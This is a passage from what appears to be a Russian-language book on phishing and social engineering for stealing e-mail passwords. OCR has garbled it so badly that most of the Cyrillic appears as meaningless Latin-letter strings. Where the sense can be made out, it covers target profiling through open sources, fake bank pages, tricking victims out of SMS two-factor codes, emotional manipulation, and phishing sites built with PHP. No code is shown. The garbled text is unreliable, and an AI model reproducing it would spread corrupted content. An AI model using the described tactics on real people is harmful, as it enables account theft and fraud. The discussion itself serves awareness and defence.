UCIIONIb30BAaThCA B JaJIbHENIIeM [JIs COBepLIeHNs Pa3/JINYHbIX [IPeCTyIl-
JIeHU1, KaK B OTHOLUEHUM BJIaJesiblia 3JIeKTPOHHOI0 aJipeca, Tak U B OT-
HOIIIEHMM OpraHu3aIMy, B KOTOPOi OH paboTaeT, MM Kpyra JIUII, C KeEM
OH OCYIIECTBJISIET TTEePENMCKY 1 0OMeH TaHHbIMMU.

VMcnonb30BaHMe COLMAAbHOM MHXeHepun npu QUILMHT-aTakKe OCHO-
BaHO Ha IOHMMaHUM B3aMMOZEMCTBYS YejlOBeKa C KOMIIbIOTEPHOM TeX-
HUKOJi, YeJIoBeKa C ITPOrpaMMHbBIM ObecIieueHeM.

Vctopust huiimnHra, HaBepHoe, HaunHaeTcs B [IpeBHei I'periun, BO
BpeMeHa HeyIauyHoi gecsatuneTHen ocaabl Tpou. Korma, cormacHO Mu-
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dbam, rpeueckast apmusi pelinia OTCTYIIUTh, COMAAThI COOpaI BeINUKHY,
OCTaBUB OCAKIEeHHbIM (PUIIMHTOBOE MUCbMO — OTPOMHYIO JIePeBSIHHYIO
CTATyIO 06JIarOPOIHOI JIOIA I,

TposiHIIBI TMCBMO OTKPbUIU (MJIM BOPOTA KPEIoCTU) U KIUKHYIU I10
CChIIKe (TO ecThb 3aBe3/iu K cebe TOMOI1 JIOIAIKY), IIPOYMTAIN COOOIIe-
Hue tuia «Crnacubo 3a BoiiHy. [0 CBUIaHMSI», ITOC/Ie Yero IOIIIN CIaTh.
B 9TO BpeMst HeOGOJIbILION OTPSI, IPEUYECKUX COJIIAT, CEIOMHS COCTOSIIIMIA
"3 OOHOTO CYTYJIOTO Ma/IbuMKa B OUKaX, [IOBbLIE3aJl U3 JIOWAAKU, OTKPbUI
ropojcKue BopoTa (cobpast Bce maposin, MHGopMaluio 0 cCeTeBOM OKpY-
>KeHUM 1 6e30MaCHOCTM) U BITyCTWI OCTa/IbHYIO YaCTh I'PeuecKoii apMuu,
KOTOpas Iof, MOKPOBOM HOUM yKpajia MHOTO 1ieHHOJ KOH(pUaeHIMab-
HOJVi MH(pOpPMaINH, OCyIlleCcTBIIa IlepeBOAbl Ha KPYIJIeHbKe CyMMbI Ha
odiiopHbie cueTa uiau cueta GUPM-OTHOIHEBOK. ..

I'pexkut momHOCTBHIO paspywmian Tporo, a OcTaBIIMeCs B SKUBBIX TPOSIH-
LIbI SKMJIU C MBICJIBIO O TOM, Ha KOJ UepT OHU €KerOfHO TPaTUJIN OrPOM-
Hble CpelicTBa Ha obecreueHyre MHOOPMAILMOHHOM UM 3KOHOMMUYECKO
6e30ITacHOCTM, €CJIV 110 COOCTBEHHOH ITYIIOCTHM MTOCTYTAIOT TaK, Kak TOTO
XOTST KMOEPIIIOHBI.

Mududeckast Ui HeT UCTOpHs ITpo TPoro, HO OHA OJIUIIETBOPSIET MPU-
Mep COLMaIbHOM MHXXeHepuu, KOTOPbI YCIIELIHO UCIIONb3YeTCs U ce-
TOLIHSL.

Korpa yenoBek NpomM3BOAUT aBTOPU3aLMI0 B CBOEM 3JIEKTPOHHOM
[I0OYTOBOM aJipece, y Hero CK/JIaAblBaeTCs IOJHOe OLLyIleHle TOro, 4YTO
OH HaXOIMTCS OOVH Ha OAVH CO CBOMMM CEKpeTaMy B 3aKPbITOM KabuHe-
Te ¥ HeT HMKAKUX OeCKOHEeUHO AJIMHHBIX KOMMYTAalMOHHBIX ITPOBO/IOB,
TMOJI3YIIUX 10 BEHTU/ISILMOHHBIM LIaXTaM, TEMHBIM YepAaKaM U IoJ3eM-
HbIM JIAOMPUHTAM, HET 1IeJIbIX TOHH CeTeBOTO ¥ CEpBEpPHOTO 060pyI0Ba-
HUSI, TUTabaiTOB CJIOYKHOTO ITPOTPAMMHOTI0 06ecrieueHus 1 aJITOPUTMOB.

Vnnwo3musa HaCTONBKO IMPOYHAas U BCeM IIPUBBIYHAS, UTO I03BOJSIET
C JIETKOCTBIO TTIOXUTUTH MAPOJib, KAKOI ObI CJIOXKHBIN M IJMHHBIA OH HU
6b11. IMeronecs: yCTaHOBJIEHHbIE CPeACTBA IMTPOrpaMMHO-aIapaTHOM
3aIIUTHI TOJIBKO YCUIMBAIOT 3(PhEKT MILTI031M Y HEOOOCHOBAaHHOTO UYB-
cTBa 6€30IaCHOCTM.

Ecin nonb3oBaTe/ib HE3HAKOM C MeXaHM3MOM MpoBefeHMs] QUIINHT-
aTak ¥ UX PasHOBUAHOCTSMMU, IIOIIACTHCS HA YA0UKY HUYEro He CTOUT.

B paHHMX MposiBIeHUsIX GUIIMHTA pacChUlaiCh MCbMa O BpeMeH-
HOJi GIOKMPOBKE aKKayHTa WM €ro yaajeHuu. JJoBOJIbHO Beceo ObLI0
3/I0fesIM, KOTIa OHM OCYIeCTB/S/IM (PUIIMHTOBBIE CITaM-pPacChUIKM M-
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ceM, cogepskaliiyie yrpo3bl IoIb30BaTesIM 3a0JI0KMPOBATh MX aKKAYHTbI
HaBCerna, eciy Te CPOYHO He MPOVAYT MOBTOPHYIO aBTOPU3ALIUIO B CBSI-
3M C MOCTYNMMUBIIMMM KajiobaMy WM MMOJ03pPeHMeM agMUHUCTpaIUn
pecypca B UCIIOJIb30BaHMM IIOUYTOBOIO SILIMKA [ ClIaM-pPaCChLIOK.

B romax 2002-2008 addekT oT Takoro GuiimMHra ObI1 MOTPSICAIOIIIA.
C 0fHOI1 CTOPOHBI, CaM TEPMUH «CIlaM» B Poccun ctan pyraTeabCTBOM,
TTOCKOJIBKY MCIIOIb30BAJICS BCeMM 6e3 MCKITIOUEeHUS «BIIapuBaTeIsIMM»
BCEro, UTO MOXKHO OBIJIO TOJIBKO BIIapUTh. C APYroil — ypoBEeHb JOBEPUS
K IIporpaMMHOMY obecrieueHnIo, MHTepHeT-cepBucaM U KOMIIbIOTep-
HOVi TeXHMKe ObIJT 3HAUMTE/IbHO BBIIIE ¥ BbI3bIBAJ BO MHOTIMX UYBCTBO,
67113K0e K YBaXKeHMUIO.

Bbl nepmof, Koraa 37J0yMbILIZIEHHUKM MacCOBO 3aMaHMBAJIN I10/b-
30BaTesiell Ha co3gaHHble G3iKM 6AHKOB, TAe TOJ Pa3JIMYHbIMMU TIPe]I-
JoramMy (CMeHbI IMPOrPaMMHOTO 06ecrieyeHMsI AUCTAHIIMOHHOTO OaHKOB-
CKOT'0 OOCTY>KMBaHMS, IPOTUBOAELIICTBMSI MOIIIEHHMYECTBY) 3aCTaBJIsIN
T10JIb30BaTeIs1 BBOAUTD JaHHbIE [J151 JOCTYIIa K CBOeMY aKKayHTY.

Bpems 11110, 110/1b30BaTe/IN CTAHOBUJIUCH OTIbITHEE, MEHSITIUCh CUCTEMBI
3amuThl. Ho colianbHast MHKeHepusi TOMOT/Ia MOIIIeHHUKAaM OOXOAUTb
" OBYX(aKkTOpHYIO ayTeHTUUKanuio, 1 SMS-onosemeHus. [Ipu sTom
KOMILIEKC aTaKy MOT BKJIIOUATh COBEPIIEHVE 3BOHKOB ITOTEHIMATbHbIM
>KepTBaM, HalIpMMep € Ipocb0oii BBeCcT SMS-Kof, SIKOOBI IJIsT OTMEHbBI
OIIMOOYHO HAIPaBIEHHOIO B X aJipec IepeBoza.

B HEKOTOPBIX Cyvasix Ha QUIIMHTOBBIX CaiiTaxX CO3/IaBaaUCh MOJIS JIs
BBOJIa 3HaUeHMSI U3 TabIULIbl TepeMeHHbIX Ko oB. Takoii TPIOK Jienau,
Harnpumep, 6patbs EBrennit u JImutpuit [Tomnensimn!, KOTOpbIie MIPu-
3HAaHbl BUHOBHBIMM B COBEePIIEeHUM MPeCTyIVIeHU, IIpesyCMOTPEeHHbIX
4. 2 CT. 272 (HerpaBOMEPHBIN LOCTYII K OXpPaHsIeMOil 3aKOHOM KOMIIbIO-
TepHO¥ MHbopmanun), 4. 1 cT. 273 (co3gaHue, UCIIOIb30BaHNMe U pac-
MpOCTpaHeHNe BPeAOHOCHBIX KOMITbIOTEPHBIX ITPOrpaMm) 1 4. 4 cT. 159
(MOLIEHHNYEeCTBO, COBEPIIEHHOEe TPYIIIION JINL IO MpefBapuUTeIbHOMY
CTOBOPY C IIpUYMHEHMEM YIlepoa B 0c000 KpyrmHOM pasmepe) YK PO.

Posib colmanibHOV MHKeHepu B GUILMHT-aTake BCerga 3aKkaoyaeTcst
B MOJBeeHMM T10/Ib30BaTess K BBOAY HeOOXOAMMBbIX MTaHHBIX UM CO-
BepIlleHI0 HeOOXOAMMBbIX e ACTBUIA.

VUUTBIBAIOTCS [eiiCTBUS [10/1b30BaTeIs], a [IpU COBepIIeHUN LiejieHa-
MpaBeHHOM (UIINHT-aTaKU YUUThIBAETCS Bech cOOpaHHbIN MHDOpMa-

! «BbIHeCceH TIPUTOBOP IO IepBOMYy B Poccuu yroJoBHOMY ATy O KOMITBIOTEPHOM
“@ummure”». URL: https://mea.pd/news/item/147552.
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IIMOHHBI/ MaCcCUB O KOHKPETHOM YejIoOBeKe, pa3pabaThiBaeTcsl ClleHa-
puii, TTO3BOJISIIOIINIA TIOJIYYUTD 1apOJib, OTKPBITh JOKYMEHT, 3aITyCTUTh
MpOrpamMmy.

B npakTuke BCTpevyaJnCh C/Iydau, KOraa 3JI0yMbIIIEHHUKM JODKHBI
ObLIY TIOMYYUTD AOCTYT K 37IEKTPOHHOII ouTe ofHOTrOo 6u3HecMeHa. [1o-
MIBITKM 3a0poca BpegOHOCHBIX ITPOTPAMM K yCIiexy He IPUBOAMIIN. 3710-
YMBIIIJIEHHMKAM YyIaJ0Ch MOACYHYTh >KepPTBe Mara3uH aBTO3aItvyacTel,
e 6M3HeCMeH 3aperucTpupoOBaICs. BBIILIO Tak, YTO GM3HECMEH He CTall
cebst 3aMopauyMBaTh pa3HoOOpa3ueM Iaposieit 1 KiIodeBbIx Gpas 1 Bes-
Ie, rae eMy NPUXOAUIOCh PETUCTPUPOBATHCS, YKA3bIBAI OOVH U TOT XKe
11apoJib, YTO OUYEHD MTOBECEINIIO KYIUKOB.

B npyroii moxoskeit UCTOpUM 3JI0AesM IIPUIILIOCh TOPaboTaTh HEMHO-
ro 6osbiire. [IJisI TTOy4eHMs TIaposisl OT OAUTENbHON IpakIaHKM 3JI0Aen
co3aau MoJHOMYHKIIMOHAIbHBIV OHJIaliH-MarasuH, pekjiaMy KOTOpPOro
3a6pocuiy skepTBe Ha 1mouTy. [IpeajioxkeHs B MarasyuHe O6bLIM HACTOJb-
KO IMPUBJIEKATEIbHBIMM, YTO Hallla IPakJaHKa He yaepsKalach U peumiia
COBEPIIUTD MOKYIIKY.

Kak BBISICHMUJIOCD, [IJISI COBepPIIIeHNsT TTOKYIIKM Heo0X0aMMO ObLIO CO3-
IaTh aKKayHT, TO €CTb 3aperuCTPUPOBATHCS B MarasuHe, a Ajis IOJTHOM-
TIPErnOIHON 3alUThl MTEePCOHAJBHBIX JAaHHBIX (a TPa’kJaHKa K 3alluTe
CBOMX ITePCOHAJIbHBIX JAHHBIX OTHOCUJIACh NOCTATOYHO CEPbE3HO) He-
06X01IMO ObUIO TPUAYMATh HECKOJIBKO BAPMAHTOB MapoJisl U KI0YEBYIO
dpasy. dpdexT 66T TOT 3K, UTO U B IIPeIbIAYIIEM CTyUae, a BJOKEHHbIe
3JIOYMbIIIVIEHHMKAMM CPECTBA U YCUJIUS C JIMXBOW OKYIIUIIACH.

[dpyras rpyria XxakepoB U3OLIPEeHHbIMU IIYTSIMU 3aTsATUBaJa XXePTB
pPerncTpUpOBaTLCS HA MOAHOM CaiiTe, A1 aKTUBALMM aKKayHTa Ha KO-
TOPOM, Kak Iucajia afMUHUCTPALIMS MOJTHOTO CaiiTa, Hy>KHO BBECTU KOJ,
6e30IacHOCTY, KOTOPBIN OyIeT BbIChUIAThCS MocpencTBom SMS Ha yka-
3aHHBIIi TI0JIb30BaTe/IeM ab0HEHTCKMIT HOMep.

[IpegBocxuiliasi HeJOyMeHME OT MPOCTOThI U T€HUAJIbHOCTU AAHHO
3aTeu, CJieAyeT 3aMeTUTbh, UTO MOAHBIN CaiT MPOCYIeCTBOBAI HEJO/TO,
HO HECKOJIbKO JIeCSATKOB YCIIeIIHbIX KOMMPOBAHUI COAEP)KUMOIO 3JIeKT-
POHHOI TTepercKy ¢ 3apy0esKHOTo ITOUTOBOTO cepBepa ObIJI0-TaKM IPo-
BeJleHO.

MTak, KaK y>ke YIIOMMHAJIOCh, CTaBIIasi OYeHb MOIYISIPHOI MeTOau-
Ka ABYX(aKTOPHOI aBTOpPU3alLMM TaKKe He YCTOsIa MO, HaTUCKOM CO-
[IMaJIbHOM VHXXEHEepPUM.

[Tpu LeseBoOV aTake Ha MPEANPUITHE OCYIIECTBIISIIOTCS TUIATEIbHbIN
noabop U aHaiu3 COTPYAHMKOB. B KaKUX-TO caydasx JOCTYI MOKHO
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TOJIyYNTh, BBEIISI B 3a0/yskKAeHe HOBEHbKOTO COTPYIHMKA KOMITAHUN,
MpeICTaBUBIINCh CUCTEMHBIM aJMUHUCTPATOPOM MJIM COTPYAHUKOM
CJTY>KOBI 6€30I1aCHOCTH.

B no60M ciryuae, mepeq, aTakoil 3JI0YMbIIVIEHHUKM MOTYT BOCIIOJb-
30BaTbhCS JOCTYITHBIMM CIToco6amu c6opa nHbOpMAIMK O YeJIOBEKe WK
OopraHM3aluy, OCHOBAHHBIMM Ha VICIIOJIb30BAHUM OTKPBITHIX MCTOYHM-
KoB (OSINT, miu Takske HasbiBaeMoii public intelligence)!.

. &

Ony6nunkoBaHHble Ony6nunkoBaHHas
nonb3oBaTeNneM AaHHble: KOMMaHWen nHpopmaums:
peslome, CTaTby, OTYeTbl, BaKaHCKM, peKnama,
Hay4Hble paboTbl o BbICTYNNEHUS, CTATbK
CoumanbHble cetn: Mcnonb3yembie
npodunn atakyemoro, aKKKaYHTbl Pa3inyHbIX
npodunn cesasen OHNaMH-CepBMCOB

Puc. 1.14. YnpoweHHas cxema cbopa uHgpopmayuu neped amakodi

CTaTMCTHKA Ke TTOKa3bIBaeT, YTO COTPYAHMKAM (PMHAHCOBOTO JIerap-
TaMeHTa (OyxrajaTepun) 3aKMHYTh HAXKMBKY IIpOIIe, YTO JOKA3aHO Ha
MPaKTUKe XUIIEHUI TEeHEKHBIX CPEJICTB ITOCPEICTBOM MCIOIb30BaAHMS
CUCTEM AMCTAHIMOHHOIO 6aHKOBCKOro 00Cay:kKuBaHMs. CBSI3aHO 3TO,
BO3MOXXHO, C TEM, UTO B HAIlleii CTpaHe IOCTOSIHHO YTO-TO MEHSIeTCsI
B ¢opMax M BUIAX OTUETHOCTM B HAJOTOBBIX, IEHCMOHHBIX U JIPYIUX
Ba)KHBIX TOCYAAPCTBEHHBIX CTPYKTypPax, B CBSI3U C UeM OyXTaJTepsl I10-
TOKOM I10 3JIEKTPOHHOJ ITOUTE ITOJYyYaloT BCEBO3MOKHBIE PACCHLIKA
HOBOCTEJ, TOTIOJIHUTEIbHBIX MHCTPYKIMI, BECTHUKOB, KAJIbKY/ISITOPOB
U TIPOr'PaMM.

[Toce mpeaBapUTENIBHOIO COOpa CIMCKA MOAXOASIINX COTPYIHMUKOB
OpraHM3aIuy IMPOU3BOAUTCS COOp MaHHBIX 00 UX cepe mesTeTbHOCTH,

L' QOpen source intelligence, OSINT, public intelligence — pasBegKa Ha OCHOBE OTKPbITBIX
MCTOYHMKOB.
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30HaX OTBETCTBEHHOCTM U CBSI3SIX. 3aT€M 3JI0YMBIIUIEHHUKY Ha OCHOBE
aHa/IM3a TMOoIyYeHHOM MH(OpMaluy MPUCTYIAT K pa3paboTke ClieHa-
pueB aTax.

C TOYKM 3peHMs ICUXOJOTUM aTaka C UCIIOIb30BaHMEM COLMATbHO
MHKeHepU BCeraa uaeT B 00X0/1 aHATUTUYECKMX MHCTPYMEHTOB pasyMa.
OwHa [eiicTBYeT IpenMyIeCTBEHHO Ha YPOBHE 9MOIMOHAIbHOI cdepbl.
OcHoBaTeb 3KCIIEPUMEHTAbHOM MCUX0a0orum Buiibresibm Makcumm-
nvaH ByHAT He6e30CHOBATEIBHO PacCMaTPUBaII POJIb UYYBCTB M SMOLIMTA
B TmoBeneHuUM 4venoBeka. CoriacHO ByHATY, BciaencTBue Gu3mueckoro
MCTOILEHMSI aCCOIMAaTYBHbIE HAKJIOHHOCTY HAUMHAIOT ITpe0bsaaTh Hal
IPYTUMM MOOYKIEeHUSIMU.

[TlepeoCMBICUB 3TO, MOXKHO TOHSITh, UTO JBMKET Y€JIOBEKOM, BBO/SI-
MM CBOJi MIapoyib IpU PUILMHT-aTaKe WIM OTKPbIBAIOIIUM JOKYMEHT
SIKOOBI Y3 HAJIOTOBOTO OpTaHa, MpUIIeAIINii B MSTHUILY 11O, KOHeI] pa-
6ouero mHS.

YacTo npu aTake SKCILTyaTUPYIOTCS Pa3IMuHbIe YyBCTBA YEI0BEKa: CO-
CTpajaHue, TIIecaaBue, CTpax U Apyrue, Mo6yskaast yeJloBeKa BbITTOTHUTh
ompeJeneHHOe AeiiCTBUe, NUIlb Obl TTOCKOpPee OTAeNaThCsl OT yIaBIlei
Ha Hero mpo6yiemMbl. Hepeko aTakymoIIUMM yIaeTcsl ChITpaTh Ha sKaxk/e
JIETKO¥ HAKMUBBI, OOSI3HM TIOTEPSITh AE€HBIM, PAOOTy MM PeITyTalNIo.

[Ipu LeneHanpaBJIe€HHO aTaKe YUNThIBAETCS JOBEPUMBOCTD IOIb30-
BaTeJsI K 3HAKOMBIM aJipecam 3JIeKTPOHHOM IOYTbI, KOTOpasi BbIpaXKa-
eTCsl B MCIIOJIb30BaHUM IJIs B3JI0Ma OJJHOTO YeJl0BeKa Yyepes IOUTY ero
3HAKOMOTO MJIM OJIM3KOT0 YeoBeKa.

L1t BOCTIpUSITUS peaIbHOCTU UM UCTUHHBIX Lieieil onepanuii MO3T
SKepPTBbI MOXKET IeperpykaThbcsi MHGOPMAaILMOHHO aTaKoi, CXOIHO 10
nevicrBuio ¢ DoS-arakoit'.

B kauecTBe A0Ka3aTeIbCTB HAIMYMS MPOCTHIX YSI3BMMOCTEN UeioBe-
YyeCcKOTo pasyMa MOKHO IPUBECTY MPOCTOI MpuMep Mcuxonorum — ad-
dext Crpymna (aHri. Stroopeffect). Tak Ha3bIBaIOT 3aAepPKKy peakinu
MIpU TIPOYTEHNUM (JIOB, KOTJA LIBET CJIOB HE COBMNAJAaeT ¢ HallMCAaHHBIMU
CJIOBaMU, K IIpUMepy CJIOBO «CMHMIA» HAaIIMCAaHO KpacHbIM. M0o3T BOCIIpU-
HMMaeT LBET, HO OH pearMpyeT Ha (JIOBO, KOTOPOE MUIIETCS TTePBbIM.

Boo6111e, aHaI0rs 1IeHTPaIbHOV HEPBHOJ CMCTEMBI UeJIoBeKa (MO3Tra)
C TIPOIIECCOPOM, a TIAMSTH — C HOCUTEISIMU MHGOpMaIMK HeceT B cebe
MHOT'0 MHTE€PECHBIX Pa3MbIIIEHNUA.

! Denial of Service — 0Tka3 B 06CTY>KMBaHWM.



48  XUUEHWE NAPOJE/A METOAOM OULIMHI-ATAK

JKepTBy HAIpaBJSIOT K IPUHSITUIO PelleHys], K [JelIOYKe OIpeaeneH-
HBIX OEeCTBUIA.

HykHO 00paTuUTh BHMMaHMe M HA M3yUyaeMyl0 paHee TCUXOJIOTHeit
0COOGEHHOCTB ITpodeccuii KOHBEepPHOTO ITPou3BoACcTBa. [Ipyuem TyT 3TO?

Pabora coTpyaHMKa KOHBeiepa, BBIITOIHSIONIEI0 OGHOOOpa3HbIe aeii-
CTBUSI, HEPEAKO MOXKET ITPUBECTU K Pa3BUTUIO IICUXNIECKOTO COCTOSTHUS —
MOHOTOHMM. MOHOTOHMSI — (PYHKIIMOHAJIbHOE COCTOSTHME UeIoBeKa, BO3-
HMKalollee IIpY OIHOOOPa3HOM, MOHOTOHHO AesITeTbHOCTU. XapaKTepHO
CHIDKEHVMEM TOHYCA ¥ BOCITPUMMYMBOCTHU, OC/IA0/I€EHEM CO3HATETbHOTO
KOHTPOJIS, YXYAIlIeHeM BHMMaHUS U MaMsITH, CTepeoTuIM3aliyein nei-
CTBUIA, TIOSIBJIEHEM OIIYIIIEHMST CKYKM, TIOTepeii MHTepeca K padbore'.

OnHoob6pa3sie BBITIONIHSIEMbIX OTepalyii OTHOCUTCSI He TOJbKO K pa-
OOTHMKY IPOM3BOJCTBA KOHBEIIEPHOTO TUIIA, HO U K OOJIBIIMHCTBY CO-
TPYAHUKOB COBPEMEHHOr0 0d¥ca, BHIITOJHSIIOMIMX P OTHOOOPa3HbBIX
orepauuii: KIUMKHYJI, MOJIy4nu, IPONAUCTA, OTIIPaBWUI, KIUKHYI, IPO-
JIACTAN, YOJIWUIIL. ..

Vske He CeKpeT, YTO TEKCT, 3aHMMAIOLIMii O0JIbIlIe JIMcTa 6yMaru i
He YMeIlalomuiics 1eJIMKOM Ha S5KpaHe MOHUTOpA, YNTAETCS B JTy4lleM
olyJyae yepes CTPOYKY MM IO AMaroHaiu. M yemoBek aBTOMaTUYEeCKU
MIIET MasiuYKy — MOICKa3ky (K/IIoueBble CJIOBA), YTOOBI ObICTpee MOHSITD,
IJISI UErO «3TO» HYKHO M Ky/ia «3TO» IeTh, He CTAapasiCh BHUKHYTh B CYTh
MIPOMCXOASIIETO.

CyiecTByeT 6aiika 1po opucHOro paboTHMKA, KOTOPBIN 10 TOTO I0-
paboTasicsi, YTo Ha ITOTyueHHOe T10 3JIeKTPOHHOI IToYTe yBeoMIeH e 00
YBOJIbHEHMM MAaIIMHAAbHO OTIIPaBWI B OTBET MUChMO: «Balie rpemjio-
SKeHME TIOJIyYeHO, OYIeT pacCMOTPEHO HAIIMMM CITEIIMATMCTAMM, VI MbI
HarmpaBMM Bam mHbopMaiuio o mpuHITOM pelieHun. Criacubo 3a Bbl-
60p Hamreii KomnaHuu!» bes CI0KHOI IICHMXO0JI0rMUecKOi TePMUHOJIO-
UM CKIAIbIBAIOLIYIOCS CUTYALMI0 MOXKHO OIMCATh elle U TaK: «CMOTPIO
B KHUTY — BUDKY Ury».

Kaxk 6b1 3TO rpy60 He 3By4asio, HO paKkTuyecku 3To Tak. [Tosb3oBaTesb
KOMITbIOTEpa HepeaKo He 3ameuaeT paciiupeHuit (aiiios, a ciegoBa-
TeJIbHO, YaCTO LIeJIKaeT MbIIIKOM MM OTKPBIBAET MX, UM 3aITyCKaeT Ha
MUCTIOJIHEHME, He 3ayMbIBasiChb O Tuile (aiyioB 1 BO3MOXKHBIX ITOC/Ie] -
cTBUSIX. HemapoM caMbIM ITOMY/ISIPHBIM CIIOCOOOM CJIeTI0i (OUIIMHTOBOA
aTaky CYMTAEeTCsl pacIpoOCTpaHeHMe MO, BUIOM MY3bIKaJbHbIX KOMIIO-
3ULNI, QUIBMOB, M300pakeHMt MM TOKYMEHTOB, GaiiioB ¢ paciiupe-

! Tonosux C. FO. CnoBapb IpakTuueckoro rcuxomnora. M.: ACT; Xapsecr, 1998.
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HIEM «.exe». DT U APyTMe BapuaHThl MOAPOOHee 6yayT PacCCMOTPEHBI
B yacTu «KoMOMHMpPOBaHHbBIE aTaKM C MCIIOJIb30BaHMEM (DUIIMHTA».

CTOUT YIIOMSIHYTh TaKKe CIoco0, BIAMSIOMMII Ha 00IIee BOCIPUSI-
Tue 4ejoBekoM mHbopmauumu. K mpumepy, nepen GuIimHI-aTaKoii
3JIOYMBIIIUIEHHUKOM OT MMEHM T0/Ib30BaTesIsl ((KePTBbI) 110 M3BECTHBIM
SKepTBe KOHTAKTaM OCYIIECTBJISIETCSI pa3HOTO pofa CriaM-pacchiika. Ipu
5TOM IMCHhMO TTOJIHOCTBIO MMeeT BUI, KaK OyITO OHO OGbIIO OTITPABJIEHO
C 3JIEKTPOHHOTO SIIMKA KEPTBBHI.

[Tpy mony4eHMM criaMa OT SKEPTBBI €r0 3HAKOMbIe, TapTHEPBI VI APY-
TVie JIMIIA U3 ero KOHTAKTOB COOOIIAT IOJIb30BATEN0 O TTPOVUCXOMISIIE
SIKOOBI C MPUHAJJIEKAIIET0 €My 3JIEKTPOHHOTO SIIMKa CIaM-pacchlIKe,
YTO, CKOpee BCero, BhI30BET ITOI03PEHME O BO3MOKHOM B3JIOME €ro Ioy-
TOBOTO SIIIMKA.

HeMHOTro BbDK/IaB, 3/I0YMbBINIIEHHUMKY MOTYT OCYIIIeCTBUTH KJlaccuye-
CKYI0 QUIIMHT-ATaKy OT MMEeHM aIMUHUCTPALIVY SJIEKTPOHHOT'O CEPBICA,
Ha KOTOPOM pasMelleH aKKayHT, C IPOCb00i1 CMEHUTD MMaposib U IO -
TBEPIUTH €r0 JIETUTUMHOE MCIT0/Ib30BaHMe. B mpuciaHHOM nucbMe 6y-
IeT coaepKaTbCsl CChIJIKA HA HACTPOMKM YYETHON 3alucu, B AeiCTBU-
TeJTbHOCTY pa3MellleHHast Ha GUIIMHT-IBVIKKE.

CyirecTByeT 6eCcuMcIeHHOe KOJIMYeCTBO BAPMAHTOB [IJIST aTak C YC-
MOJIb30BaHMEM COIMAIbHON MHXXeHepUM, OTPaHNYEHHOE TOJIbKO MH-
dbopmaryeit o MOTEeHLMAIbHOJ JKePTBe ¥ COOCTBEHHBIM BOOOPaKeHEM
HarajawIero.

OmHO OYeBMIHO: 3HAHME OCHOB M TAKTUKY IIPUMEHEHUST COLMATbHOM
MHXXEeHepUM CIIOCOOHO 3alIUTUTh OT OOJIBIIMHCTBA HETAaTUBHBIX ITPO-
siBjieHuit. [IoHMMaHye OCHOBHBIX MPUHIIMIIOB COIMATIbHO MHKEHEePUn
IOJKHO YUYMUTBIBATHCS TTPY ITPOEKTUPOBAHNUY CPEICTB 3aIIUThI KOMITbIO-
TepHOI MHpopMalLuu, pa3paboTKe peraraMeHTOB MH(POPMAIMOHHOI
6e301macHOCTY (MHCTPYKLMIA 1)1 T10JIb30BaTeIeii) M, HeCOMHEHHO, I10-
MOXKET TIpU paccaefOoBaHUM YKe TTPOU3OIIeININX UHIUIEHTOB MHMOp-
MAallMOHHO 6e30MacHOCTH.

1.3. OuUWKHr U3HYTpU. AHANU3 UCMO/Ib3YEMbIX

ANS aTakKu UHCTPYMEHTOB

C TOUKM 3peHMs 0JIb30BaTeJIs JTII000¥ caiiT — 3TO HAbOp 3JIEMEeHTOB, Ta-
KMX KaK TEKCT, M300pakeHs, a TaKKe ayIyo-BUAe0, aHMMAaIVs U ITpoune
BU3yajbHble 3(deKThbl, CCHIIKM Ha IpyTue pasfiesbl U caiiTbl. B peab-
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HOCTM 3a JIIOObIM MHTepdeiicoM cajiTa HaXoAUTCS OOJIBIIOE YMCIIO IIPO-
1IeCCOB, B KOTOPbIX 3a/i€/iCTBOBAHbI pa3jMuHble y3/ibl KOMIIbIOTEPHOI'O
000pyIOBaHMS ¥ KOMILJIEKCHI IIPOIrPAaMMHOTr0 0becrieueHms.

3a TO, Kak Oy#eT BBIIVISIAETh CAiiT, OTBEUYAIOT CIiela/ibHble S3bIKU
MPOrpaMMMPOBAHMSI, KOTOPbIe MOTYT ObITh CEPBEPHBIMU WMJIM KIIVEHT-
CcKUMMU. VIcIiosHeHMe cepBepHOI MporpaMMbl OCYIIECTBIISIETCSI Ha CTO-
poHe cepBepa, KIMEeHTCKO — B 6pay3epe Mojab30BaTersl.

Ha cTopoHe K/neHTa, B ero 6pay3epe OCyIleCTB/sSeTCs BbITIOJIHEHNE
(uutepnperanusi) HTML-kona, java-cKpuIiToB, Tabu, ctuieii (CSS).

[y TOro 4To6bI caiiT 061agan GYHKIMOHAIBHOCTbIO M MOT 0Opaba-
ThIBATh MH(POPMALINIO, UCITONb3YIOTCS SI3bIKM BEO-TTPOTpaMMMUPOBAHMS,
HaubOoJjIee IOIY/IIPHBIMU U3 KOTOPBIX sBisgeTcss PHP!.

ITporpammy Ha PHP MOXHO HammicaTh B 0OBIYHOM TEKCTOBOM (aiisie,
M3MEHUTDh paciiMpeHyne Ha «.php», 1 oHa OymeT paboraTh Ha cepBepe.
To ectb s s13bpika PHP He TpebyeTcs crieliMan3upoBaHHas cpefa pas-
paboTKM, XOTSI Ha CAaMOM [iejie UX CYIIeCTByeT mMacca.

He 6ymem paccmatpuBaTh 06paboTky PHP-koma cepBepoM, 3TO He SIB-
JieTcs TeMoii KHUTH. [IpocTo KpaTKo yKaxkeM BO3MOKHOCTM ITPOTpaMm
Ha PHP: pabora c 6a3aMu JaHHBIX, 00paboTKa 1 nepegava MHGOpMaIIN,
MCII0JIb30BaHMe MOYTOBbIX MPpOTOKOI0B (IMAP, POP3, SMTP).

13 Bcex BO3MOXKHBIX BApMAHTOB IMOTyUyeHMsI HECAaHKIIMOHMPOBAHHOTO
(CKpBITOTO) IOCTYTIA K YYeTHOI 3anycu caMbIM 3 PeKTUBHBIM Ha Ceroj-
HSIIITHUI TeHb SIBJISIETCS] MCIIOMb30BaHe (QUILIMHT-ABI/KKOB, TaKke Ha-
3pIBaeMbIX (pajikamu. OCHOBaH 3TOT METO/I Ha Be6-IIPOrpaMMMPOBAHUM
Y COLIMAJIbHOM MH)KEHEPUMN.

Cxema e3aumodelicmeus ¢ N0YMOBbIM cepeepom

Ternepb pacCMOTPUM JB€ CXeMbI OOpaIleHMs IOJb30BaTe/IsI K MHTEp-
deiicy pecypca: IITaTHO PabOTHI ITOTH30BATEJISI C TIOUTOBLIM CEPBEPOM
1 paboThI ITOIb30BATEJIsI, KOraa BMelBaeTcs umuHr (puc. 1.15, 1.16).

[TonydyeHnne maposisi Ajist 4OCTYIA K 3/IeKTPOHHOMY ITOUYTOBOMY aZipecy
6e3 ero MmogM@uUKaIMUyU OCYIIECTB/ISIETCS ITOCPEICTBOM MCIIOIb30BaAHMS
